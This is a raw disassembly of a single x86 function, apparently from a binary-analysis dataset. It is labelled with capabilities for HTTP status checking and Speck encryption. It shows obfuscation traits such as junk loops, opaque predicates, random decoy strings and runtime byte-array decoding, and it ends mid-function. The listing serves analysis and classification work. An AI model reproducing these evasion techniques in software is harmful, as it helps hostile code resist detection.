Function at 0x10024a0a
Capabilities:
Check http status code
Encrypt data using speck

Disassembly:
mov eax, 0x1005efbf
call fcn.1005dc80
sub esp, 0x59c
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x23c], edx
mov dword [ebp - 0x150], ecx
xor ebx, ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x178], ebx
mov dword [ebp - 0x174], ebx
mov dword [ebp - 0x170], ebx
mov byte [ebp - 4], 1
mov dword [ebp - 0x18], 0xfffffffb
mov dword [ebp - 0x20], 0x61ff
cmp dword [ebp - 0x20], 0x627f
jle 0x10024ab2
mov esi, ebx
mov edi, ebx
mov eax, edi
lea ecx, [ebp - 0x460]
and eax, esi
cdq
push edx
push eax
call fcn.10001b3f
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10024a7e
mov eax, dword [eax]
push eax
call fcn.10047293
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x460]
call fcn.1001084f
inc edi
cmp edi, 0x35a6
jl 0x10024a62
inc esi
cmp esi, 0x7d5e
jl 0x10024a60
push ebx
push 0x110a
push ebx
call dword [sym.imp.GDI32.dll_GetBitmapBits]
mov dword [ebp - 0x24], ebx
cmp dword [ebp - 0x20], 0x60ed
jge 0x10024ac9
push str.skhdjdugr_zmcx_hpwzhpd_jvjosj_gtugptc_fef_njutrw_aulocofup_ygkag_gxueeg_kzj_lbvkcyi_bxg_bfqjbzobi
call fcn.10047293
pop ecx
xor edx, edx
inc edx
mov dword [ebp - 4], edx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x28], 3
mov dword [ebp - 0x1c], 0xdc6f79b3
mov dword [ebp - 0x20], 0x197cbb40
mov dword [ebp - 0x20], 0x8a88acc1
mov dword [ebp - 0x20], 0xddfdaf0b
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x14], ebx
jmp 0x10024b0e
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x198], 0xffffffff
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jl 0x10024afd
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jne 0x10024b2d
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x198], edx
xor ecx, ecx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
cmp eax, edx
setl cl
add ecx, dword [ebp - 0x24]
jne 0x10024b51
mov eax, dword [ebp - 0x198]
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x18]
neg ecx
sbb ecx, ecx
neg ecx
imul eax, ecx
xor ecx, ecx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov edx, dword [ebp - 0x24]
sub edx, eax
mov eax, dword [ebp - 0x18]
cmp eax, edx
setl cl
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x28], 0x1fb2
cmp dword [ebp - 0x28], 0xba7
jge 0x10024c4d
push 0x1007ae1c
push 0x1007ae18
push str._d__d
call fcn.10046fab
mov eax, dword [0x1007ae18]
add esp, 0xc
mov edi, ebx
test eax, eax
jle 0x10024bd9
mov esi, 0x1007da70
push esi
push 0x10068634
call fcn.10046fab
mov eax, dword [0x1007ae18]
inc edi
pop ecx
add esi, 4
pop ecx
cmp edi, eax
jl 0x10024bbf
mov ecx, dword [0x1007ae1c]
mov edx, ebx
mov dword [ebp - 0x20], edx
mov esi, ecx
test eax, eax
jle 0x10024c42
mov eax, dword [edx*4 + 0x1007da70]
mov edi, ebx
cmp eax, esi
jl 0x10024c09
jne 0x10024bfe
xor edi, edi
inc edi
jmp 0x10024c12
sub eax, esi
xor edi, edi
mov esi, ecx
inc edi
cmp eax, esi
jge 0x10024c0d
sub esi, eax
jmp 0x10024c1e
jne 0x10024c16
push 2
pop edi
mov esi, ecx
jmp 0x10024c1e
cdq
idiv esi
sub esi, edx
lea edi, [eax + 1]
push edi
push 0x1006a324
call fcn.10047293
mov edx, dword [ebp - 0x20]
inc edx
pop ecx
pop ecx
mov dword [ebp - 0x20], edx
cmp edx, dword [0x1007ae18]
jge 0x10024c42
mov ecx, dword [0x1007ae1c]
jmp 0x10024bea
push 0x10066975
call fcn.100474b6
pop ecx
push ecx
push ebx
push ecx
mov byte [ebp - 0x46], bl
lea edx, [ebp - 0x46]
mov ecx, 0x4b49
call fcn.10023e11
add esp, 0xc
xor dl, dl
push 0x537f
push 0x60bb
push ecx
push 0x5292
call fcn.100248c4
add esp, 0x10
mov dword [ebp - 0xa4], 0x180cad09
mov dword [ebp - 0xa0], 0xd040403
mov dword [ebp - 0x9c], 0x2c072600
mov dword [ebp - 0x98], 0x1c0a0108
push 0x74
pop eax
mov dword [ebp - 0x94], 0xe011d0b
mov dword [ebp - 0x90], 0x271a6503
mov dword [ebp - 0x8c], 0x4e050202
mov word [ebp - 0x88], 0x6e06
mov word [ebp - 0x39a], ax
mov dword [ebp - 0x18], 7
mov dword [ebp - 0x28], 0x389d
cmp dword [ebp - 0x28], 0x38f3
jle 0x10024d6c
mov eax, ebx
mov dword [ebp - 0x14], ebx
mov edi, ebx
mov dword [ebp - 0x24], ebx
mov edx, edi
mov dword [ebp - 0x1c], ebx
and edx, eax
mov edi, ebx
mov dword [ebp - 0x20], edx
mov esi, ebx
mov ecx, esi
mov eax, edi
sar eax, cl
lea ecx, [ebp - 0x4a8]
xor eax, edx
cdq
push edx
push eax
call fcn.10001b3f
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10024d25
mov eax, dword [eax]
push eax
call fcn.10047293
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x4a8]
call fcn.1001084f
mov edx, dword [ebp - 0x20]
inc esi
cmp esi, 0x4eec
jl 0x10024d05
inc edi
cmp edi, 0x571c
jl 0x10024d03
mov edi, dword [ebp - 0x24]
mov eax, dword [ebp - 0x14]
inc edi
mov dword [ebp - 0x24], edi
cmp edi, 0x6cf8
jl 0x10024cf7
inc eax
mov dword [ebp - 0x14], eax
cmp eax, 0x5db7
jl 0x10024cf2
mov dword [ebp - 0x1c], 7
cmp dword [ebp - 0x28], 0x37f6
jge 0x10024d87
push str.fqrojmx_chreakfiu_pgz_epznyi_uvqfmhdh_komgspzfs_pnwj_zbjhvcpfv
call fcn.10047293
pop ecx
xor ecx, ecx
inc ecx
mov dword [ebp - 4], ecx
mov dword [ebp - 0x24], 0x7221ebc5
mov dword [ebp - 0x20], 0x705618d7
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x30], 6
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x14], ebx
jmp 0x10024dbe
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1b4], 0x90f6dae1
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x10024dad
cmp dword [ebp - 0x1c], ebx
jne 0x10024e42
mov ecx, dword [ebp - 0x1c]
xor edx, edx
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setne dl
xor ecx, ecx
add edx, 0x37b30477
cmp edx, eax
setle cl
xor eax, eax
cmp eax, ecx
sbb eax, eax
inc eax
imul eax, dword [ebp - 0x1c]
neg eax
jne 0x10024dfd
cmp dword [ebp - 0x1c], ebx
jne 0x10024dfd
mov ecx, ebx
jmp 0x10024e00
xor ecx, ecx
inc ecx
mov eax, dword [ebp - 0x1c]
cmp ecx, 3
sbb eax, eax
inc eax
cmp eax, 0xd065835a
mov eax, dword [ebp - 0x1c]
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, eax
setge dl
xor eax, eax
cmp edx, 0xffffffff
mov edx, dword [ebp - 0x1c]
setle al
xor ecx, ecx
sub edx, eax
mov eax, dword [ebp - 0x1c]
cmp edx, eax
setne cl
mov dword [ebp - 0x24], ecx
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
dec dword [ebp - 0x18]
mov edx, dword [ebp - 0x20]
imul edx, dword [ebp - 0x20]
push 2
pop esi
imul edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x18]
add edx, 0x7e09128d
cmp eax, edx
mov eax, dword [ebp - 0x1c]
setle cl
xor edx, edx
cmp ecx, eax
setl dl
sub edx, 0x63126ff2
neg edx
sbb edx, edx
inc edx
mov dword [ebp - 0x28], edx
xor edx, edx
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x28]
cmp eax, ecx
mov eax, dword [ebp - 0x1b4]
setge dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x20]
setle cl
xor edx, edx
sub ecx, eax
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
mov eax, dword [ebp - 0x1b4]
setge dl
xor ecx, ecx
cmp edx, eax
setle cl
mov dword [ebp - 0x1c], ecx
mov ecx, ebx
mov dword [ebp - 0x154], ecx
cmp esi, 0x14
jne 0x10024ed2
push 4
pop ecx
push 0x16
mov dword [ebp - 0x154], ecx
pop esi
jmp 0x10024f2a
movzx edx, byte [ebp + esi - 0xa3]
mov eax, esi
sub eax, ecx
push 0x13fe
push 1
push 0x1fe9
movzx eax, byte [ebp + eax - 0xa6]
push 1
movzx eax, word [ebp + eax*2 - 0x3ac]
mov ecx, eax
and eax, edx
or ecx, edx
lea edx, [ebp - 0x154]
sub ecx, eax
movzx eax, byte [ebp + esi - 0xa4]
mov word [ebp + eax*2 - 0x3ac], cx
xor cl, cl
call fcn.1002452f
mov ecx, dword [ebp - 0x154]
add esp, 0x10
add esi, 2
cmp esi, 0x1e
jb 0x10024ebf
xor eax, eax
mov word [ebp - 0x392], ax
mov dword [ebp - 0x30], 0xffffffff
mov dword [ebp - 0x30], 0x2971c1e
mov dword [ebp - 0x30], 0x124f84b8
mov dword [ebp - 0x30], 4
mov dword [ebp - 0x30], 2
mov dword [ebp - 0x240], 0xfffffff8
mov dword [ebp - 0x14], ebx
jmp 0x10024f7e
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x370], 0x9978f3c
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 1
jl 0x10024f6d
push ecx
push ecx
push ebx
push 0x7c0d
push ecx
lea edx, [ebp - 0x240]
call fcn.100240c5
add esp, 0x14
mov dword [ebp - 0x78], 0x1001601
mov dword [ebp - 0x74], 0xf04df01
mov ecx, ebx
mov dword [ebp - 0x70], 0x4e020203
mov dword [ebp - 0x6c], 0x6074e05
push 0x6f
pop eax
push 2
mov word [ebp - 0x68], 0xd06
mov word [ebp - 0x2f6], ax
pop esi
cmp esi, 4
jne 0x10024fd6
push 2
pop ecx
jmp 0x10025005
movzx edx, byte [ebp + esi - 0x77]
mov eax, esi
sub eax, ecx
movzx eax, byte [ebp + eax - 0x7a]
movzx ecx, word [ebp + eax*2 - 0x2f8]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [ebp + esi - 0x78]
add ecx, edx
mov word [ebp + eax*2 - 0x2f8], cx
mov ecx, ebx
add esi, 2
cmp esi, 0x12
jb 0x10024fcc
xor eax, eax
mov word [ebp - 0x2e8], ax
mov dword [ebp - 0x4c], 0x8ade19d2
mov dword [ebp - 0x218], 0xffffffff
mov dword [ebp - 0x14], ebx
jmp 0x1002503d
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x310], 0xfffffff6
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x1002502c
mov dword [ebp - 0x4c], ebx
cmp dword [ebp - 0x4c], 2
jg 0x100250d1
push 2
pop esi
mov dword [ebp - 0x14], ebx
lea ecx, [ebp - 0x29c]
push 1
call fcn.100100c6
lea eax, [ebp - 0x29c]
mov byte [ebp - 4], 6
push eax
push 1
push 0x3e2f
push ebx
lea eax, [ebp - 0x1b0]
mov edx, 0xba1
push eax
push 1
mov ecx, 0x7869
call fcn.10024430
mov dword [ebp - 0x14], esi
add esp, 0x18
cmp dword [ebp - 0x14], ebx
jl 0x100250ba
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp + eax*4 - 0x310]
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x310], ecx
mov eax, dword [ebp - 0x29c]
mov dword [eax], ecx
dec dword [ebp - 0x14]
jns 0x10025099
lea ecx, [ebp - 0x29c]
mov byte [ebp - 4], 1
call fcn.10010128
inc dword [ebp - 0x4c]
cmp dword [ebp - 0x4c], esi
jle 0x10025053
lea eax, [ebp - 0x4c]
xor dl, dl
push eax
push ebx
push 0x39f9
lea eax, [ebp - 0x218]
mov cl, 1
push eax
push 0x7bee
push 0x11c5
call fcn.100246b1
xor eax, eax
mov dword [ebp - 0x314], 7
add esp, 0x18
mov word [ebp - 0x328], ax
lea eax, [ebp - 0x2f8]
mov dword [ebp - 0x318], ebx
lea ecx, [ebp - 0x328]
push eax
call fcn.1001d578
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x390]
xor eax, eax
mov dword [ebp - 0x37c], 7
mov word [ebp - 0x390], ax
lea eax, [ebp - 0x3ac]
push eax
mov dword [ebp - 0x380], ebx
call fcn.1001d578
lea eax, [ebp - 0x390]
push eax
lea ecx, [ebp - 0x448]
call fcn.10023538
lea eax, [ebp - 0x328]
push eax
lea ecx, [ebp - 0x430]
call fcn.10023538
push ebx
push 1
lea ecx, [ebp - 0x390]
call fcn.10010a23
push ebx
push 1
lea ecx, [ebp - 0x328]
call fcn.10010a23
mov byte [ebp - 4], 8
lea eax, [ebp - 0x418]
push dword [ebp - 0x1b0]
lea ecx, [ebp - 0x194]
mov dword [ebp - 0x194], ebx
push eax
lea eax, [ebp - 0x448]
mov dword [ebp - 0x190], ebx
push eax
push ebx
mov dword [ebp - 0x18c], ebx
call fcn.10027135
push fcn.100269b7
push 1
push 0x30
lea eax, [ebp - 0x448]
mov byte [ebp - 4], 0xa
push eax
call fcn.1004704b
push 7
xor eax, eax
lea edi, [ebp - 0x3ac]
pop ecx
rep stosd dword es:[edi], eax
lea edi, [ebp - 0x2f8]
stosd dword es:[edi], eax
push 0x4658
push ecx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
push ecx
lea eax, [ebp + 8]
mov edx, 0x5645
push 1
push eax
lea ecx, [ebp - 0x194]
call fcn.10024080
add esp, 0x14
lea ecx, [ebp - 0x304]
push 1
call fcn.100100c6
push 1
lea ecx, [ebp - 0x1e0]
mov byte [ebp - 4], 0xb
call fcn.100100c6
mov byte [ebp - 4], 0xc
xor edx, edx
mov dword [ebp - 0x158], 0xfffffffd
inc edx
mov dword [ebp - 0x14c], 0xe39f3faa
mov dword [ebp - 0x184], ebx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x30], 0xfaa9634d
mov dword [ebp - 0x18], ebx
jmp 0x1002527b
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x304]
mov dword [eax + ecx*4], 0x1ded6804
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jl 0x10025268
mov dword [ebp - 0x18], ebx
jmp 0x10025298
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1e0]
mov dword [eax + ecx*4], 0xc10977a1
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jl 0x10025285
lea eax, [ebp - 0x158]
push eax
lea eax, [ebp - 0x184]
push eax
lea eax, [ebp - 0x304]
push eax
lea eax, [ebp - 0x14c]
push ebx
push eax
lea ecx, [ebp - 0x1e0]
call fcn.100243e1
mov eax, dword [ebp - 0x1e0]
add esp, 0x14
mov edx, dword [eax]
cmp edx, 0xfff6
jb 0x1002531a
cmp dword [ebp - 0x184], ebx
jne 0x100252e6
mov eax, dword [ebp - 0x14c]
mov eax, dword [ebp - 0x14c]
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], ebx
mov edx, dword [ebp - 0x1e0]
jne 0x10025302
cmp dword [edx], ebx
jne 0x10025302
mov eax, ebx
jmp 0x10025305
xor eax, eax
inc eax
mov edx, dword [edx]
mov dword [ebp - 0x158], eax
cmp edx, dword [ebp - 0x158]
je 0x1002531a
xor eax, eax
inc eax
jmp 0x1002531c
mov eax, ebx
xor ecx, ecx
cmp eax, 0xffffffff
setle cl
xor eax, eax
cmp ecx, edx
lea ecx, [ebp - 0x1e0]
setg al
mov dword [ebp - 0x30], eax
call fcn.10010128
lea ecx, [ebp - 0x304]
mov byte [ebp - 4], 0xa
call fcn.10010128
sub esp, 0xc
mov dword [ebp - 0x24], 0xffffffff
lea eax, [ebp - 0x188]
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x188], 0x37831e42
mov edx, 0x7723
mov dword [ebp - 0x28], 9
xor cl, cl
push eax
mov dword [ebp - 0x19c], 0xf0dc4b63
push 0x3325
call fcn.1002401d
add esp, 0x14
mov dword [ebp - 0x14], ebx
jmp 0x100254af
mov dword [ebp - 0x20], 0x28ad64de
mov dword [ebp - 0x24], ebx
jmp 0x100253a9
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x50], ebx
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 1
jl 0x1002539f
mov dword [ebp - 0x24], ebx
jmp 0x100254a2
mov dword [ebp - 0x28], 0xe4c20f74
push 2
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x18], ebx
pop ecx
jmp 0x100253da
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1ac], 0xb372ba29
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x100253c9
mov dword [ebp - 0x18], ebx
jmp 0x100253f1
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x378], ecx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x100253e4
cmp dword [ebp - 0x188], ebx
jne 0x10025463
mov ecx, dword [ebp - 0x14]
xor edx, edx
mov eax, dword [ebp - 0x1ac]
cmp ecx, eax
mov eax, dword [ebp - 0x50]
setge dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x50]
setl cl
xor edx, edx
cmp ecx, eax
setl dl
xor ecx, ecx
mov dword [ebp - 0x374], edx
mov eax, dword [ebp - 0x1a8]
cmp edx, eax
mov eax, dword [ebp - 0x20]
setl cl
add eax, ecx
jne 0x1002543f
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x1ac]
dec ecx
neg ecx
sbb ecx, ecx
neg ecx
sub ecx, eax
cmp dword [ebp - 0x1ac], ecx
jl 0x10025463
mov eax, ebx
jmp 0x10025466
xor eax, eax
inc eax
mov dword [ebp - 0x28], eax
mov dl, 1
mov eax, dword [ebp - 0x28]
mov ecx, 0x7cd
mov eax, dword [ebp - 0x1ac]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x30]
sub eax, dword [ebp - 0x50]
push 1
mov dword [ebp - 0x19c], eax
lea eax, [ebp - 0x19c]
push 0x49f9
push eax
push ebx
call fcn.10023e31
add esp, 0x10
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0x1a
je 0x100253b7
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xfffffffc
jge 0x10025393
push ebx
push 0x33b3
push 0x301a
call fcn.10039052
pop ecx
pop ecx
call eax
mov dword [ebp - 0x14], ebx
jmp 0x100254dc
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x54], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 1
jl 0x100254d2
push ecx
push ecx
push 1
lea eax, [ebp - 0x47]
mov byte [ebp - 0x47], bl
push eax
push ecx
mov edx, 0x7a30
call fcn.100240c5
add esp, 0x14
mov dword [ebp - 0x54], ebx
jmp 0x10025514
push ecx
push 0x3695
push ecx
xor cl, cl
call fcn.100249d5
add esp, 0xc
inc dword [ebp - 0x54]
cmp dword [ebp - 0x54], 0x15
jge 0x10025500
xor eax, eax
mov dword [ebp - 0x38], ebx
push 0x31
mov word [ebp - 0x348], ax
pop eax
push 2
mov dword [ebp - 0xf8], 0x50c3605
mov dword [ebp - 0xf4], 0x21e7011
mov dword [ebp - 0xf0], 0x78140716
mov dword [ebp - 0xec], 0x7d077c01
mov dword [ebp - 0xe8], 0x1d0e081a
mov dword [ebp - 0xe4], 0x750f6902
mov dword [ebp - 0xe0], 0x480b4a00
mov dword [ebp - 0xdc], 0x69081e09
mov dword [ebp - 0xd8], 0x7b1b7c03
mov dword [ebp - 0xd4], 0x4d1c3e25
mov dword [ebp - 0xd0], 0x771d7304
mov dword [ebp - 0xcc], 0x1c180515
mov dword [ebp - 0xc8], 0x5171c10
mov dword [ebp - 0xc4], 0x1913000a
mov dword [ebp - 0xc0], 0x77231f12
mov dword [ebp - 0xbc], 0x706721f
mov dword [ebp - 0xb8], 0x124090d
mov dword [ebp - 0xb4], 0x9190122
mov dword [ebp - 0xb0], 0xf200621
mov word [ebp - 0x506], ax
pop esi
movzx eax, byte [ebp + esi - 0xfa]
movzx edx, byte [ebp + esi - 0xf7]
movzx ecx, word [ebp + eax*2 - 0x510]
mov eax, edx
and eax, ecx
add eax, eax
sub edx, eax
movzx eax, byte [ebp + esi - 0xf8]
add edx, ecx
add esi, 2
mov word [ebp + eax*2 - 0x510], dx
cmp esi, 0x4c
jb 0x100255f1
xor eax, eax
lea ecx, [ebp - 0x26c]
push 2
mov word [ebp - 0x4c4], ax
call fcn.100100c6
push 1
lea ecx, [ebp - 0x1ec]
mov byte [ebp - 4], 0xd
call fcn.100100c6
push ecx
mov byte [ebp - 4], 0xe
lea eax, [ebp - 0x26c]
push eax
mov dword [ebp - 0x14], 0x18c9a01c
lea eax, [ebp - 0x3c]
push ebx
mov dword [ebp - 0x20], 0x8af95342
mov edx, 0x210e
push eax
mov dword [ebp - 0x30], 0xc295a527
mov dword [ebp - 0x30], 0xd734
mov dword [ebp - 0x28], 0xa97a
push 0xbce
call fcn.10023bd1
add esp, 0x10
lea eax, [ebp - 0x3c]
lea edx, [ebp - 0x1ec]
push 0x2341
push 1
push 0x70b6
push eax
call fcn.10023bd1
xor edx, edx
mov dword [ebp - 0x3c], ebx
add esp, 0x14
inc edx
jmp 0x100256cf
mov eax, dword [ebp - 0x3c]
mov dword [ebp + eax*4 - 0x1b8], 0xc4779d44
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], edx
jl 0x100256be
mov esi, dword [ebp - 0x26c]
xor eax, eax
push 0xfffffffffffffffa
pop ecx
cmp dword [esi + 4], 0xffffffff
setge al
sub eax, dword [esi + 4]
neg eax
sbb eax, eax
inc eax
cmp ecx, eax
mov eax, dword [ebp - 0x1ec]
sbb ecx, ecx
neg ecx
sub ecx, dword [esi + 4]
mov dword [eax], ecx
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1ec]
cmp dword [eax], 0xb09b
jle 0x1002571f
mov eax, dword [ebp - 0x26c]
mov ecx, edx
cmp dword [eax], ebx
jne 0x10025721
mov ecx, ebx
mov eax, dword [ebp - 0x14]
imul eax, ecx
mov dword [ebp - 0x1b8], eax
mov eax, dword [ebp - 0x1ec]
mov eax, dword [eax]
neg eax
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x14]
xor eax, eax
cmp dword [esi + 4], ebx
sete al
mov dword [esi + 4], eax
test eax, eax
je 0x100257c9
mov dword [ebp - 0x20], 0x96f77d90
mov dword [ebp - 0x18], 9
cmp dword [ebp - 0x30], ebx
je 0x10025769
mov eax, dword [ebp - 0x18]
sub eax, dword [ebp - 0x18]
test eax, eax
jg 0x1002576b
mov edx, ebx
inc dword [ebp - 0x20]
xor ecx, ecx
mov eax, dword [ebp - 0x18]
cmp edx, eax
mov eax, dword [ebp - 0x18]
setge cl
xor edx, edx
cmp ecx, eax
setge dl
xor eax, eax
add edx, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x20]
cmp edx, 0x8647
setl al
sub ecx, eax
mov eax, dword [ebp - 0x18]
sub ecx, 0xe11771b7
neg ecx
sbb ecx, ecx
inc eax
inc ecx
xor edx, edx
add ecx, eax
mov eax, dword [ebp - 0x1ec]
mov dword [ebp - 0x1b8], ecx
cmp dword [eax], ecx
setl dl
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x20]
sub ecx, eax
mov dword [ebp - 0x18], ecx
jmp 0x100257e6
push edx
lea eax, [ebp - 0x3d]
mov byte [ebp - 0x3d], bl
push eax
push 0x207a
push edx
xor dl, dl
mov ecx, 0x7a41
call fcn.10023e31
add esp, 0x10
mov byte [ebp - 0x29], bl
cmp byte [ebp - 0x29], 0
je 0x10025803
push ebx
push 0x72b3
push ecx
mov ecx, 0x4643
call fcn.10023d0b
add esp, 0xc
lea ecx, [ebp - 0x1ec]
call fcn.10010128
lea ecx, [ebp - 0x26c]
mov byte [ebp - 4], 0xa
call fcn.10010128
xor eax, eax
mov dword [ebp - 0x2d0], 7
mov word [ebp - 0x2e4], ax
lea ecx, [ebp - 0x2e4]
lea eax, [ebp - 0x510]
mov dword [ebp - 0x2d4], ebx
push eax
call fcn.1001d578
push 0x13
pop ecx
mov byte [ebp - 4], 0xf
lea edi, [ebp - 0x510]
xor eax, eax
rep stosd dword es:[edi], eax
push 3
lea ecx, [ebp - 0x290]
stosw word es:[edi], ax
call fcn.100100c6
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x278]
xor eax, eax
inc eax
mov dword [ebp - 0x214], eax
mov dword [ebp - 0x210], eax
mov dword [ebp - 0x20c], eax
mov dword [ebp - 0x208], eax
push eax
call fcn.100100c6
mov byte [ebp - 4], 0x11
mov dword [ebp - 0x34], ebx
jmp 0x100258af
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x290]
mov dword [eax + ecx*4], 0xbbca6318
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], 3
jl 0x1002589c
mov dword [ebp - 0x34], ebx
jmp 0x100258cb
mov eax, dword [ebp - 0x34]
mov dword [ebp + eax*4 - 0x3f8], 4
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], 2
jl 0x100258ba
push ecx
push ebx
lea eax, [ebp - 0x34]
push eax
push 0x1799
lea edx, [ebp - 0x278]
call fcn.1002403f
add esp, 0x10
mov dword [ebp - 0x20c], ebx
jmp 0x10025966
push 2
lea ecx, [ebp - 0x334]
call fcn.100100c6
mov byte [ebp - 4], 0x12
mov dword [ebp - 0x254], 0xfffffff7
mov dword [ebp - 0x14], ebx
jmp 0x10025925
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x334]
mov dword [eax + ecx*4], 0xd6804445
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x10025912
push 0x6c85
push 1
push 0x4b95
push ebx
push 0x68a5
push ebx
mov edx, 0x3df1
lea ecx, [ebp - 0x254]
call fcn.10024430
add esp, 0x18
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x334]
call fcn.10010128
inc dword [ebp - 0x20c]
cmp dword [ebp - 0x20c], 2
jle 0x100258f2
mov eax, dword [ebp - 0x278]
mov dword [eax], 2
cmp dword [eax], ebx
jl 0x10025b61
push 3
lea ecx, [ebp - 0x36c]
call fcn.100100c6
push 4
lea ecx, [ebp - 0x360]
mov byte [ebp - 4], 0x13
call fcn.100100c6
mov byte [ebp - 4], 0x14
mov dword [ebp - 0x44], 0xfffffff6
mov dword [ebp - 0x28], 0x757f
cmp dword [ebp - 0x28], 0x78a1
jle 0x100259e5
mov esi, ebx
mov edi, ebx
mov ecx, edi
mov eax, esi
shl eax, cl
mov ecx, 0x10079ad8
cdq
push edx
push eax
call fcn.1000fde8
inc edi
cmp edi, 0x1da4
jl 0x100259c0
inc esi
cmp esi, 0x571
jl 0x100259be
sub esp, 0x10
lea eax, [ebp - 0x25c]
lea edx, [ebp - 0x36c]
push 0x3def
push ebx
push ecx
push eax
call fcn.10023c1a
add esp, 0x20
mov byte [ebp - 4], 0x15
cmp dword [ebp - 0x28], 0x7219
jge 0x10025a44
mov edx, str.xvnindozu_hpnrod_exagbax_fjisqib_vlpkejzkl_aieu
mov ecx, 0x10079ad8
call fcn.10012b8c
jmp 0x10025a44
push 0x22a2
push ecx
push ecx
lea eax, [ebp - 0x360]
mov dword [ebp - 4], 0x14
push eax
lea edx, [ebp - 0x25c]
mov cl, 1
call fcn.100240e6
mov dword [ebp - 0x28], 0x248a
add esp, 0x10
cmp dword [ebp - 0x28], 0x24e1
jle 0x10025ac8
push ebx
push ebx
call dword [sym.imp.GDI32.dll_CopyEnhMetaFileA]
mov edi, ebx
mov esi, ebx
mov eax, esi
lea ecx, [ebp - 0x490]
and eax, edi
cdq
push edx
push eax
call fcn.10001b3f
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10025aa1
mov eax, dword [eax]
push eax
call fcn.10047293
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x490]
call fcn.1001084f
inc esi
cmp esi, 0xb54
jl 0x10025a85
inc edi
cmp edi, 0x578c
jl 0x10025a83
sub esp, 0x10
lea eax, [ebp - 0x44]
mov edx, 0x8fc
push eax
push 1
push ecx
push 0x1917
